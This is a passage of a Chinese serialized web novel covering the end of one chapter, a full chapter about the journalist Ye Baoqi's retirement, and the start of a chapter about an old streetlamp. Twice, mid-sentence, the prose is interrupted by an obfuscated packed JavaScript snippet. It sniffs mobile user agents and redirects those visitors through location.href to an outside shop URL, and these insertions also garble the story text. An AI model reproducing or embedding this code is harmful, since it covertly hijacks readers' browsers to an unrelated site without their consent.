他翻开其中一本，1998年夏天的记录。某页上有一滴已经变成褐色的血迹。 “这是房管局老刘留下的，”叶葆启的声音很轻，“那天他重感冒，流鼻血，但坚持接完了所有电话。晚上十点，最后一个电话是城中村危房户打来的，说屋顶漏水，不敢睡觉。刘局长听完，直接去了现场，变成了雨夜抢险指挥。” 会议室安静下来。所有人都看着那滴干涸了十六年的血，仿佛能听见当年电话里的雨声。 王大妈是第一个发言的群众代表。她从口袋里掏出那份珍藏的报纸，2002年11月28日的《内海都市报》，第四版整版是“听潮阁”特别报道。 “看，”她的手指点在泛黄的版面上，“这张照片里，供热公司的孙总正接我电话呢。我那天急啊，我们那栋楼老人多，暖气片都是凉的...” 她的讲述开启了某种闸门。随着她的声音，叶葆启看见——真的看见——会议室里浮现出当年的场景：年轻的王大妈站在寒冷的公用电话亭里，呵出的白雾模糊了玻璃；报社这间会议室里，孙总额头冒汗，一边接电话一边在便签上疾书；然后是换热站的工人在深夜抢修，蒸汽在冬夜里升腾如鬼魅；最后是温暖的房间里，老人们安然入睡的脸。 这些影像如薄雾般在现实空间叠加，又缓缓散去。叶葆启眨了眨眼，不确定是自己想象过度，还是这房间真的记住了太多故事，以至于能在特定时刻重演记忆。 “...所以我要谢谢这个栏目，谢谢叶记者。”王大妈结束发言，擦拭眼角。 叶葆启点头，在记录本上写下：“暖气，2002年冬，已解决。”其实不用写，他记得每一个细节，包括王大妈当时电话里的哭腔，和三个月后她送来的那面锦旗上略显蹩脚的绣工。 老赵教授从学术角度发言，但他的话语间飘散着某种超现实的意味。 “在社会转型的特定历史褶皱里，‘听潮阁’这样的实践，就像一株奇异的植物，在缝隙中生长出来。”他的眼镜反射着灯光，让人看不清眼睛， 教授说话时，叶葆启注意到那些记录本微微颤动，仿佛书页中的字迹在窃窃私语。有一本自动翻开到2005年春天的部分——那是城管人员“听潮”的日子，当天接听了七十二个电话，大部分是投诉占道经营的。 “这种直接沟通的形式，将官员置于一种‘被观看’‘被质询’的透明状态，”教授继续道，“就像古代县太爷升堂，但这次，围观的不只是堂下百姓，还有数十万读者。产生了奇妙的治理效应...” 叶葆启走神了。他想起那位城管局长，姓韩，一个彪形大汉，却在接听一个卖菜老太太的电话时，突然哽咽。老太太说她儿子死了，媳妇跑了，只剩她和孙女，靠一个小菜摊过活，城管却天天来赶。“我也要养家啊，”韩局长当时对着话筒，也对着满屋的记者说，“但规矩就是规矩...”那天晚上，他自掏腰包买了老太太所有的菜，还帮她找到了一个合法摊位。这事从没见报，只留在值班记录和叶葆启的记忆里。 “...所以即使形式终结，其精神遗产将在新的媒介生态中变异、延续。”教授结束了发言。 会议室响起礼貌的掌声。叶葆启看见，在掌声中，那些挂在墙上的照片里的人物，似乎也轻轻点了点头。 退休老区长王志国的发言把大家拉回到更具体的历史情境中。 “我第一次来‘听潮’，是2001年，管城建的时候。”老王的声音沙哑，像老旧收音机，“那天接了四十多个电话，全是骂我的。道路施工扰民、拆迁补偿不公、规划说变就变...挂掉最后一个电话，我衬衫湿透了，不是热的，是冷汗。” 他顿了顿，环视四周：“但那是我从政二十多年，上过的最重要的一课。在办公室看文件，那些‘群众诉求’只是数字和案例；在这里接电话，你能听见呼吸声，听见哽咽，听见绝望或者希望。政策不再只是文本，而是具体人生的转折点。” 随着他的讲述，叶葆启又产生了幻觉：会议室里浮现出不同年代官员接电话的剪影——有人正襟危坐，有人抓耳挠腮，有人对着空气比划，有人把脸埋进手掌。这些半透明的身影重叠在一起，形成一种奇异的合唱，虽然无声，却充满了语言的能量。 “我记得最清楚的是一个下岗工人，”老王继续说，“他说一家三口住十五平米，女儿十六岁了，还和父母睡一屋。他打了三十多个部门的电话，没解决。在我们栏目，我接到了。三个月后，他们家分到了廉租房。搬家那天，他打电话到报社，不是找我，是找接线的记者，说‘替我谢谢那位领导，虽然他可能不记得我了’。” 老王停下来，喝了口水：“我怎么会不记得？我记得每一个。” 叶葆启在记录本上找到那条记录：2003年5月17日，下岗工人张建国，住房困难，转交王副区长。边缘有一行小字，是老王后来加的：“已解决，两室一厅，女儿有了自己的房间。” 随着座谈深入，房间里的“存在感”越来越强。叶葆启不是唯一感受到的人。李兰主任小声对旁边人说：“怎么觉得人越来越多了？”老陈则不时看向墙角，仿佛那里站着看不见的听众。 这种氛围在叶葆启展示那些实物时达到顶峰。 又拿出一沓信，用橡皮筋捆着。“这些是没能在栏目中解决问题的读者来信。每一封我都读过，很多问题超出单个部门权限，或是制度性难题。我留着它们，作为提醒。” 最后，他按下老式录音机的播放键。磁带嘶嘶转动，然后传出一个女人的声音，带着九十年代特有的电话音质： “...我丈夫在工地摔伤了，包工头跑了，医院要钱才给治...求求你们，帮帮我...” 接着是一个男声，2000年代初某局长的声音：“您别急，告诉我工地位置，我们马上介入...” 然后是2010年一个年轻人的声音：“我们小区的物业和开发商勾结...” 不同年代、不同声音的片段交织在一起，在会议室里回荡。那些声音如此鲜活，仿佛说话者就站在房间某处。叶葆启看见，几位老读者在抹眼泪，连一向严肃的赵教授也摘下了眼镜。 磁带播完了，但余音似乎还在空气中振动，融入房间本身的声音记忆层中。 自由讨论环节，大家开始谈论栏目的局限与终结的必然。 “有时候只是个出气筒，”一位退休局长直言，“老百姓知道有些问题解决不了，就是想找地方喊一喊。” “新媒体时代，微博微信太快了，”李兰主任说，“我们社区现在有微信群，发现问题拍照上传，比打电话快多了。” “但那些碎片化的投诉，能形成真正的压力吗？”赵教授质疑，“‘听潮’的仪式感和媒体曝光度，是随手发条微博能比的吗？” 叶葆启静静地听着，手指无意识地摩挲着记录本的封面。他能感觉到，这个陪伴了他十七年的“孩子”正在一点点消散，如同晨雾在阳光下。但他也感觉到，有什么东西在凝聚，在转化。 一位一直沉默的老读者，退休教师周文，缓缓举手。他八十岁了，说话很慢，但每个字都清晰： “我孙子教我用微信，我也在群里看消息。但那些碎片，就像沙滩上的脚印，潮水一来就没了。”他停顿，寻找着词语，“‘听潮’不一样。它是一棵树，长在固定的地方，年轮一圈圈增加。你打电话时知道，会有个真人接听，会有记录，会登在报纸上，会留在某个地方。这种‘实在感’，现在越来越稀罕了。” 叶葆启感到心头一震。老人说出了他自己未能表达的感觉——在这个日益虚拟化的时代，那种具身的、有仪式感的、留下物理痕迹的沟通，正在变成奢侈品。电话机、记录本、签名、盖章、纸质报纸...这些看似陈旧的形式，却承载着某种不可替代的“真实权重”。 座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904199|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈会接近尾声时，发生了一件奇异的事。 当叶葆启做最后总结，说到“这种官民对话的门，不应该关上”时，会议室的门突然“咯吱”一声，缓缓自动开了一道缝。风从走廊灌入，墙上的照片轻轻摆动，记录本的书页哗哗翻动，仿佛在呼应他的话。 所有人都看向那扇门。门外是空荡荡的走廊，远处编辑部传来隐约的键盘声。 叶葆启走过去，轻轻带上门。在门合拢前的一瞬，他仿佛看见走廊尽头有许多模糊的身影，拿着不同年代的电话听筒，排着看不见尽头的队伍。那是十七年间所有未能接通电话的人，还是所有曾经在此“听潮”的官员的幽灵？他眨眨眼，走廊又空了。 “...所以，今天不是结束，而是一个顿号。”他回到座位，继续说完，“‘听潮阁’的形式将终止，但它所代表的对话精神，会在新的媒介中找到新的化身。也许更便捷，更即时，更广泛——但核心不变：倾听、沟通、解决、监督。” 他看了看墙上的钟，下午五点十七分。巧合的是，十七这个数字贯穿始终——创办十七年，今天十七位核心参与者，结束在十七分。 “让我们合影吧。”他说。 大家站起来，走到“听潮阁 1997-2014”的横幅前。叶葆启请实习生帮忙拍照。闪光灯亮起的瞬间，他再次产生幻觉：照片里不止有现场的人，还有层层叠叠的透明身影——历任接听官员、打过电话的市民、记录问题的记者...他们如鬼魅般填充在活人之间的空隙，形成一幅跨越十七年的集体肖像。 闪光灯熄灭后，那些身影消失了。但叶葆启知道，他们就在那里，以某种方式。 会后，人们陆续离开，握手、拥抱、承诺保持联系。叶葆启一一送别，直到会议室只剩他一人。 黄昏的光线斜射进来，把房间切成明暗两半。他沿着墙慢慢走，看每一张照片，抚摸每一本记录。在这些物理载体中，封存着十七年的悲欢、愤怒、感激、无奈。他想，如果有一种技术能提取纸张中的记忆分子，播放出来，该是多么波澜壮阔又琐碎平凡的史诗。 在2006年的照片前，他停住了。那是法院院长“听潮”专场，面对执行难的问题。照片中的张院长眉头紧锁，面前摆着三台电话，同时接听。那天创造了记录——九十七个电话，从早八点到晚八点。 叶葆启记得，中午休息时，张院长站在这个窗前，背对着大家说：“我以前以为法律文书就是终点，现在知道，那只是起点。老百姓要的不是一纸判决，是实实在在的结果。”那天之后，法院成立了专门的执行快速反应小组，机制沿用至今。 “你们都完成了自己的使命。”叶葆启对着照片轻声说。 他走到桌前，打开最旧的那本记录。1997年4月3日，第一通电话，反映自来水发黄。周经理的答复是：“我们马上去查，两天内给您回音。”简简单单一句话，开启了一个时代。 叶葆启拿出笔，在最新一本的最后一页，写下： “2014年11月7日，‘听潮阁’最后一期座谈会举行。十七年历程，始于水，终于言。形式将逝，精神长存。桥会坍塌，但渡河者已找到新路。感谢所有参与者，所有关注者。门虽关闭，窗已打开。” 他合上本子，感到一种奇异的圆满。就像一个说书人讲完了一部漫长的史诗，最后一个音节落下，余韵在空中回荡，然后逐渐融入寂静。 收拾好东西，叶葆启关掉会议室的灯。在黑暗中，那些照片、记录本、锦旗、信件，都变成了模糊的轮廓，像是沉睡的兽群。 他轻轻带上门，站在走廊上。键盘声从编辑部传来，嗒嗒嗒嗒，如同时代的心跳。年轻的记者们在追踪新的热点：地铁新线路规划争议、共享单车乱停放、学区房政策变动...他们用着最新的设备，在社交媒体上即时互动，获取信息的速度是他年轻时无法想象的。 但他并不感到过时。每个时代有每个时代的媒介，每个媒介有每个媒介的力量。电话和报纸的联盟完成了它的历史任务，现在是微信、微博、客户端、短视频的时代。形式在变，但核心的追问不变：权力如何被监督？诉求如何被听见？问题如何被解决？ 走到自己办公室门口，叶葆启回头看了一眼那条昏暗的走廊。他仿佛听见，从会议室的门缝里，泄露出微弱的声音：电话铃声、交谈声、翻纸声、叹息声...十七年的声波，似乎被那间屋子吸收、储存，如今在寂静中缓缓释放，如同古老的磁带，永远循环播放着未完的对话。 他笑了笑，推门进入自己的办公室。桌上摆着明天的选题策划——关于如何利用新媒体搭建新型政民互动平台。他坐下，打开电脑，光标在空白文档上闪烁。 窗外，内海市的灯光次第亮起，绵延至远方。这座城市的悲欢还在继续，问题还在产生，沟通的渴望永不停歇。他的“听潮”生涯结束了，但记者的使命还在延续——在不同的时代，寻找不同的方式，架设不同的桥梁。 键盘声响起，加入楼里的合奏。新的故事，已经开始。而旧的故事，会在记忆的殿堂里，获得某种永恒。 在按下第一个键的瞬间，叶葆启忽然明白：那间会议室从未真正空过，就像这座城市从未真正沉默。所有的声音都在某处回响，所有的对话都在某处继续。门可以关上，但声波会穿过墙壁，穿过时间，在意想不到的时刻，与新的声音共振。 这，或许就是魔幻现实主义中最真实的部分——过去从未过去，它只是换了一种方式，与现在共存。 48. 第048章 铁笔锈蚀时 2015年6月30日的黄昏，天空呈现出一种熟透了的柿子般的橙红色。叶葆启站在《内海都市报》五层红砖楼的窗前，看见西边天空裂开一道口子，光从那裂缝里倾泻而下，浇在楼下车水马龙的街道上。那些光是有重量的，他二十三年来看过无数次这样的黄昏，每一次都感觉光像麦粒般砸在肩上。 今天是他作为在编记者的最后一个工作日。明天，七月一日，他将满六十周岁，正式退休。这个数字在他舌尖上滚动时，尝起来像一枚生锈的硬币。 办公室的门虚掩着，他听见外面窸窸窣窣的声音——同事们正在准备一场“突袭”。二十三年前，1992年那个雨夜，他抱着纸箱子忐忑地推开这扇门时，地板还是新漆的，散发着刺鼻的气味。如今地板被无数双脚磨出了凹陷，那些凹陷里积淀着二十三年的灰尘、汗水和掉落的头发——他自己的头发，也从浓密乌黑变得稀疏花白。 下午四点半，门被推开了。 第一个进来的是陈秉烛，已经退休七年的老主任。陈秉烛的背驼得更厉害了，像一棵被岁月压弯的枣树。他的手里没有拿任何东西，但叶葆启看见他身后跟着一串影子——那些都是已故的、调离的、消失在时间长河里的老同事们的影子。魔幻的是，在黄昏的光线里，那些影子确实拉得很长，在绿色的水磨石地板上蠕动。 “葆启啊。”陈秉烛的声音像从一口深井里打捞上来的湿漉漉的石头。 接着涌进来一群人：现任群工部主任，一个四十出头、头顶已现荒原的男人；解平生，他的老搭档，右眼在1998年抗洪报道中被树枝戳伤，如今看人时总是斜着；曹东方，因报道化工厂污染被威胁，左耳听力只剩三成。 还有那些他带过的年轻人——如今也已不年轻了。他们的脸叠加在一起，像一本快速翻动的相册，叶葆启能在每张脸上看见自己曾经播下的种子：有人学会了他的追问方式，有人继承了他的书写习惯，有人连拿采访本的姿势都和他一模一样。 “光荣退休”的红色条幅被挂上墙壁时，叶葆启注意到条幅的右下角有一小块暗红色污渍，像凝固的血。1997年，也是这样的条幅，欢送老校对员王师傅时用的就是这一条。王师傅退休三个月后脑溢血去世，条幅被收回仓库，如今又拿了出来。这些物件比人活得长久，它们吸食着人的气息，变得越来越沉重。 陈秉烛第一个握住他的手。老人的手像枯树枝，却出奇地有力。“葆启，你这三十多年...”他顿了顿，眼里泛起浑浊的光，“你记得1994年冬天，咱们去采访矿井塌方吗？” 叶葆启当然记得。那时陈秉烛还是主任，他们坐了八小时拖拉机进山，又在雪地里徒步三小时。塌方的矿井像大地张开的黑色嘴巴，吞没了十七个矿工。家属的哭声在山谷里回荡，被风拉长、扭曲，变成非人非兽的哀嚎。他们采访到半夜，手冻得握不住笔，就用嘴里呵出的热气暖一暖，继续写。 “你写的稿子，”陈秉烛继续说，“让十七个家庭拿到了赔偿。有个寡妇后来给你寄了一袋核桃，记得吗？” “记得。”叶葆启说。其实那袋核桃他并没有吃，分给了办公室的同事。但核桃壳在抽屉里放了很久，偶尔拉开抽屉，能闻到一股山野的气息。 现任主任送上鲜花和纪念品。鲜花是百合，香气浓郁得让人头晕。钢笔礼盒是檀木的，刻着“秉笔直书情系民生”八个字。叶葆启接过盒子时，感觉盒子在手中轻微搏动，像一颗小心脏。他打开一条缝，看见那支钢笔静静地躺着，笔尖闪着冷光——那是一支新笔，还不曾吃过墨水，不曾犁过纸张。 “谢谢。”他说。声音有些哽咽，不是因为感动，而是因为突然涌上来的疲惫——一种积攒了二十三年的疲惫，在这一刻决堤了。 解平生走过来拥抱他。这个独眼老伙计身上有股永远散不去的烟草味和旧纸张的气息。1998年长江抗洪，他们在溃堤处站了三十六个小时，解平生的右眼就是那时受的伤。血顺着脸颊流下来，他只用脏袖子擦了一把，说：“妈的，这下看得更清楚了——用一只眼才能看见真相。”那是解平生说过的最像诗人的话。 曹东方拍他的肩，拍得很重。这个耳朵半聋的男人，如今说话必须很大声，像是要穿过一堵厚厚的墙才能让人听见。“老叶！以后钓鱼去！”他吼道。2005年，曹东方因为报道化工厂污染，接到匿名电话：“再写就让你全家喝污染水。”他没停笔，只是把妻儿送回了老家。报道发表后，工厂被关停，但曹东方的左耳在一个夜晚突然失去了大部分听力。医生说可能是压力太大，也可能是某种未知的毒素。曹东方自己说：“是那些被污染的水鬼捂住了我的耳朵。” 年轻人们围上来，说着感谢和祝福的话。他们的声音混杂在一起，变成嗡嗡的合唱。叶葆启在这合唱中听见了自己二十三年前的声音——年轻、急切、充满确信。那个声音如今藏在他的喉咙深处，已经很久没有出来了。 蛋糕被推出来，上面插着“60”字样的蜡烛。烛光摇曳，在每个人脸上投下跳动的阴影。叶葆启看着那些阴影，突然想起自己报道过的一场火灾——1999年城南老街区失火，烧了十三户人家。他在现场看见一个老妇人对着废墟哭泣，她的脸在消防车旋转的红光中明明灭灭，像一幅破碎的油画。那一刻他明白了，记者的职责就是收集这些明明灭灭的脸，让它们不被遗忘。 吹灭蜡烛时，他许了一个愿：希望自己写过的那些故事，能像这些烛烟一样，升到某个地方，被储存起来。 欢送会结束，同事们陆续离开，留下他一个人整理物品。办公室突然空旷起来，但那些刚刚离去的人的气息还悬在半空，与灰尘共舞。黄昏的最后一道光从西窗斜射进来，光柱中无数尘埃旋转，像微型星系。 他的办公桌用了二十三年。木头是实木的，被岁月盘出了包浆，有些地方被胳膊磨得凹陷下去，正好契合他小臂的弧度。这桌子记得他的体温，记得他伏案写作时的每一次叹息、每一次兴奋的轻敲、每一次愤怒的捶打。 他开始整理抽屉。 第一个抽屉里是采访本。一本挨着一本，按年份排列，从1992年到2015年，二十多本。他抽出一本——1993年的，黑色硬皮，边角已经磨损。翻开，密密麻麻的字迹像蚂蚁军团，爬满每一页。 1993年4月12日，晴。采访城西棚户区拆迁户。李桂花，62岁，丈夫早逝，独子工伤瘫痪。拆迁补偿不够买新房，她说：“我就死在这里，让他们把我埋在这块砖下。” 他记得李桂花。干瘦的老太太，眼睛却亮得吓人。报道发表后，区里重新评估，提高了补偿。李桂花搬走前，托人给他带来一双纳好的鞋垫——粗布，针脚密实，绣着简单的花纹。他没舍得用，收了起来，后来不知所踪。但此刻，当他抚摸着采访本上那些字，鞋垫的触感突然从指尖传来：粗粝、温暖，带着老人手上的茧。 继续翻。 1997年6月30日，那一夜他写了五千字的特稿，写完时天已微亮。走出报社，晨光中的城市安静得像刚经历完一场分娩。他在早点摊喝了碗豆浆，卖豆浆的妇人哼着歌，是邓丽君的《月亮代表我的心》。那一刻，他前所未有地爱这座城市，爱它的肮脏与辉煌，爱它的眼泪与笑容。 采访本一本本翻开，字迹从青涩到成熟，从工整到潦草。有些页面有水渍——是雨水，还是泪水？他分不清。有些页边有茶渍，有烟灰烫出的小洞。这些本子记录着城市的夜晚、百姓的呼声、突发的事件、远方的见闻。它们是时间的琥珀，封存着无数个瞬间。 最厚的一本是2008年的。那一年有大悲大喜：南方雪灾、汶川地震、北京奥运。他在汶川待了二十八天，笔记本里夹着地震废墟的照片、失去亲人的灾民写下的字条、志愿者的联系方式。有一页上，他用红笔写着：“5月19日，全国哀悼日。下午2点28分，鸣笛声响起时，整个灾区的哭声像大地在呜咽。” 那本笔记本的最后一页，贴着奥运火炬在内海传递的照片。照片背面，他写了一行小字：“从废墟到火炬，这个民族在哭泣后依然能奔跑。” 他把采访本整齐地码进一个纸箱。纸箱很快满了，那些本子的重量超出了物理范畴——它们承载着二十三年的记忆，比铅还重。 第二个抽屉里是获奖证书和奖牌。他粗略数了数，一百五十多个。最早的市好新闻奖，证书纸张已经发黄，印章的颜色褪成了淡红。最近的是2014年新闻奖的奖牌，铜质，沉甸甸的。 他抚摸着那些烫金的字，突然笑起来。2001年，他因为揭露医疗黑幕的系列报道获得第一个国家级奖项。颁奖典礼在北京，他穿着借来的西装，站在领奖台上手足无措。回程的火车上，他把奖牌放在小桌板上，看了整整一路。邻座的小孩问：“这是金牌吗？”他说：“不，这是责任。” 如今这些奖牌安静地躺在抽屉里，像冬眠的动物。他把它们放进另一个纸箱，动作很轻，生怕惊醒什么。 第三个抽屉里是读者来信。他保留了一些有代表性的，用橡皮筋捆成几扎。最上面的一封，信封已经泛黄，邮戳模糊，但还能辨认出“甘肃”二字。 是郭熠轩的信。那个1996年因工受伤、求助无门的打工青年。叶葆启的报道让他拿到了赔偿，他送来锦旗，上面绣着“爱国主正义，为民解忧愁”。几年后，郭熠轩寄来这封信，报告近况：开了个小五金店，娶了媳妇，生了个儿子，取名“念恩”。信的最后写道：“叶记者，您是我命里的贵人。我常跟儿子说，长大后要像您一样，帮需要帮助的人。” 叶葆启记得郭熠轩送锦旗那天的情景：年轻人羞涩地笑着，锦旗卷得不太整齐，露出一角红色。那面锦旗后来一直挂在他办公桌对面的墙上，如今已经褪色，红色变成了粉红，金字也不再耀眼。他小心地从墙上取下，锦旗的布料脆弱得几乎一碰就要碎掉。他仔细叠好，放进装信件的纸箱。 下一封信来自吴老师。1999年“螺壳镇小学”事件，危房教室在大雨中坍塌，三名学生受伤。吴老师为了保护学生，自己的腿被砸断。叶葆启的报道推动全市校舍安全大检查，吴老师也得到了更好的治疗。她在信中说：“腿已经不太疼了，只是下雨天会酸麻。但我还在教书，换到了新校舍，明亮得很。孩子们的笑声是最好的止痛药。” 信里夹着一张照片：吴老师坐在轮椅上，被孩子们围着，所有人都笑得灿烂。照片背面用圆珠笔写着：“谢谢您让我们被看见。” 信件一封封整理，纸箱渐渐满起来。这些信件是有温度的，即使在空调房里，他也能感觉到它们散发出的微弱热量。那是人的温度，是感激、是信任、是倾诉的欲望。作为记者，他是一座桥，连接着个体的苦痛与公共的视野。这些信件证明，桥的那一头，确实有人走过来了。 桌角摆着全家福，五十岁生日时拍的。妻子素琴，头发还未全白，笑得温柔；儿子叶舟，那时刚结婚，西装笔挺；儿媳腼腆地笑着；还有刚满月的孙女笑笑，被素琴抱在怀里，一团粉嫩的肉。照片上的他自己，眼角已有深刻的皱纹，但眼神明亮，对未来仍有期待。 五年过去了。素琴的头发白了大半，叶舟当了父亲后稳重了许多，儿媳生了二胎，笑笑已经会上幼儿园、会画画、会搂着他的脖子说“爷爷我最爱你”。时间是一只贪婪的兽，吞食着青春，留下骨骼般坚硬的回忆。 最后，他拿起那支用了十五年的黑色钢笔。笔身已经被磨得光滑，镀层脱落处露出底下的铜色，像伤口结的痂。这支笔写过无数稿件：揭露黑暗的、颂扬光明的、记录平凡的、追问真相的。笔尖劈过叉，他用镊子小心修好；吸墨器老化，他换了新的；笔帽裂过缝，他用胶带缠好继续用。 此刻，钢笔静静地躺在掌心，他能感觉到它的“记忆”。那些被它书写过的文字，那些在深夜流淌的思绪，那些愤怒的颤抖和同情的叹息，都储存在这支笔的金属和塑料里。如果笔会说话，它会讲出多少故事？ 他拧开笔身，看见墨囊里还有小半管蓝色墨水。二十三年来，他喝掉的墨水能装满一个浴缸吗？那些墨水变成文字，印在报纸上，被无数人阅读，然后报纸被用来包油条、垫桌脚、卖给收废品的，最终化为纸浆，轮回转世。文字不死，它们只是变换形态。 他将钢笔郑重地放进装采访本的箱子。当笔触碰到那些旧笔记本时，他几乎听见了一声叹息——不知是笔在叹，还是本子在叹。 整理完毕，两个纸箱：一个装满了“历史”（采访本、奖牌），一个装满了“情谊”（信件、照片、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904200|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪念品）。不算多，却是他二十三年记者生涯的全部家当。 他站起身，环顾办公室。绿色的台灯灯罩上积着灰，他曾在这盏灯下熬过无数个夜晚；红色的老式电话，听筒被无数只手磨得发亮，曾传来好消息、坏消息、威胁、感谢；墙上斑驳的内海市地图，他用图钉标记过采访地点，整张地图渐渐被图钉覆盖，像出过天花的皮肤。 窗外，城市已经亮起灯火。二十三年前，他第一次在这扇窗前看夜景时，远处还没有那么多高楼，灯光稀疏如散落的珍珠。如今，灯火连成一片光的海洋，淹没了一切黑暗的角落。这城市在生长，像某种活物，而他曾是记录它呼吸的 scribe（抄写员）。 没有太多伤感，反而有种尘埃落定的踏实。他想，自己尽力了。有没有遗憾？当然有。那些没追到底的线索，那些因为种种原因未能发表的报道，那些他本可以帮助却没能帮助到的人。但总体上，他无愧于这份职业，无愧于自己的良心。 锁上抽屉时，他听见“咔哒”一声，清脆得像时间的门闩被插上。抱起装采访本的箱子，另一个箱子由值班的年轻记者帮忙。他最后看了一眼办公室，关上台灯，绿色灯罩在熄灭前似乎闪了一下，像最后的告别。 走廊里，还有加班的同事在忙碌。键盘声此起彼伏，像雨点敲打芭蕉叶。新闻永不眠，明天的报纸还在等着填充版面。他走过一间间办公室，透过玻璃门看见埋头工作的身影——那些都是昨天的他。 在楼梯口，他遇见了儿子叶舟。叶舟也在这栋楼里工作，社会新闻部记者，今年是他入行的第八年。 “爸，都收拾好了？”叶舟接过他手里的箱子。 “嗯。” “妈和笑笑在楼下等。笑笑吵着要吃冰淇淋，我说等爷爷下来一起去买。” 叶葆启笑了。这个笑是新鲜的，不同于今天下午那些仪式性的笑容。这是爷爷的笑容，简单、纯粹，不承载任何历史重量。 他们一起下楼。楼梯是水泥的，被无数双脚磨出了凹陷。叶葆启记得每一个转角处墙上的污渍：二楼转角有块墨迹，是1995年一个实习生不小心打翻墨水瓶留下的，这些细微的损伤都是时间的纪念碑。 走出报社大楼，夏夜的风温暖宜人，带着烧烤摊的烟火气和行道树的花香。素琴站在路灯下，牵着笑笑的手。笑笑五岁了，扎着两个羊角辫，看见爷爷就挣脱奶奶的手跑过来。 “爷爷！下班啦！”她扑进叶葆启怀里，小身体软软的，带着奶香。 叶葆启抱起孙女，亲了亲她的小脸：“嗯，爷爷今天‘下班’了，以后天天陪笑笑玩，好不好？” “好！”笑笑拍手，然后凑近他耳朵小声说，“爷爷，你的箱子好重，里面装了什么呀？” “装了爷爷的半辈子。”他说。 素琴走过来，接过他臂弯的外套。这个陪伴了他三十七年的女人，没有说话，只是看着他，眼里有温柔的理解。她知道这告别对丈夫意味着什么——不仅是职业的终结，更是一个身份的褪去。从明天起，他不再是“叶记者”，只是“老叶”、“叶爷爷”、“葆启”。 叶舟把箱子放进后备箱，车子是普通的家用轿车，后保险杠有处剐蹭，一直没去修。生活就是这样，充满不完美的细节。 上车前，叶葆启忍不住回头，再次仰望这座五层红砖楼。许多窗户还亮着灯，像无数双不眠的眼睛。在三楼的一扇窗户后，他看见一个模糊的身影正伏案写作——那是谁？也许是刚来的实习生，也许是和他当年一样满怀理想的年轻人。 他知道，在那栋楼里，他的儿子叶舟明天还会回来，坐在另一张办公桌前，继续记录这个城市的悲欢离合。薪火相传，生生不息。这或许就是退休最好的意义：你不是终点，你是链条中的一环，你完成了自己的长度，现在把位置让给下一环。 车子驶入夜色。笑笑在儿童安全座椅上睡着了，嘴角还沾着一点冰淇淋。素琴握着他的手，手心的温度像无声的安慰。 等红灯时，叶葆启看见街边报亭的招牌。《内海都市报》的头版标题在灯光下清晰可见：“地铁三号线明日开通试运行”。这是今天的新闻，明天的历史。而他，已经从历史的记录者，变成了被历史流过的人。 但他不悲伤。记者退休不是死亡的隐喻，而是角色的转换。他还会读报，还会关注这座城市，只是不再以参与者的身份，而是以观察者的从容。 车子拐进小区。家的窗户亮着温暖的黄光。晚饭已经准备好了，生活还在继续，只是换了一种节奏。 进门时，他瞥见书房里那面空着的墙。明天，他会把“爱国主正义，为民解忧愁”的锦旗挂在那里，把获奖证书放进书柜，把采访本排列整齐。那些是他的过去，但不是他的监狱。他会偶尔翻开，回忆，微笑，叹息，然后合上，回到当下的生活。 笑笑在睡梦中呢喃了一句什么。素琴说：“她说‘爷爷讲故事’。” 叶葆启笑了：“好，以后天天给她讲故事。” 他有很多故事。二十三年记者生涯，就是一座故事的矿山。他可以慢慢挖掘，把那些惊心动魄的、温暖动人的、荒诞离奇的故事，讲给孙女听。让这些故事在家庭的小范围内继续流传，这是另一种形式的“薪火相传”。 夜深了，他站在阳台上，看着城市的灯火。远处，报社大楼的轮廓隐在夜色中，只有少数几扇窗还亮着。 他举起手，向着那个方向，轻轻挥了挥。 告别了，我的战场。告别了，我的青春。告别了，铁笔与纸张的岁月。 风吹过，带来远方的声音：可能是救护车的鸣笛，可能是夜市的笑语，可能是情侣的私语，可能是孤独者的叹息。这些声音，曾经是他追逐的线索；如今，它们只是夜晚的一部分，不再需要被记录、被追问、被转化为文字。 他回到屋里，轻轻关上阳台门。书房的桌子上，那支新钢笔躺在檀木盒里，等待着被使用。也许明天，他会用它写点别的东西：给老友的信，给孙女的童话，或者只是抄写一首喜欢的诗。 铁笔会生锈，但文字不朽。记录会停止，但记忆长存。这就是他，一个老记者，在退休之夜的领悟。 而城市，依然在夜色中呼吸，等待着明天的太阳，和新的故事。 49. 第049章 葵光不语照夜行 内海的秋天总是来得仓促。九月才过中旬，解放北路的梧桐就已落了一半叶子。叶葆启退休第四年的这个黄昏，他像往常一样沿人行道慢走，忽然在第七盏路灯下停住了脚步。 那是盏老式葵花灯——铸铁灯柱已锈出深褐纹路，灯头却仍是五十年前的设计：八片铸铁葵花瓣托着乳白玻璃罩，暮色中亮起温润的黄光，光晕洒在斑驳砖地上，恰好圈出一片暖色的圆。 叶葆启仰头看了许久。这灯他经过无数次，今日却觉出异样：那光里似有尘埃旋舞，细看又不是尘埃，倒像极微小的字迹在光柱中沉浮。他眯起老花的眼，竟辨出几个片段——“1987年11月3日，夜归女工在此避雨”“1999年12月31日，跨年情侣相拥于此”“2013年6月8日，高考生蹲灯下查答案”…… “老爷子，看灯呐？” 叶葆启转头，是个穿橙黄反光背心的老路工，正靠在三轮车旁抽烟。见他回头，路工咧嘴笑了，露出被烟熏黄的牙：“这灯有看头。解放北路七盏老葵花灯，这是最后一盏还能亮的了。” 老路工姓陈，在这条路上修了三十八年路灯。 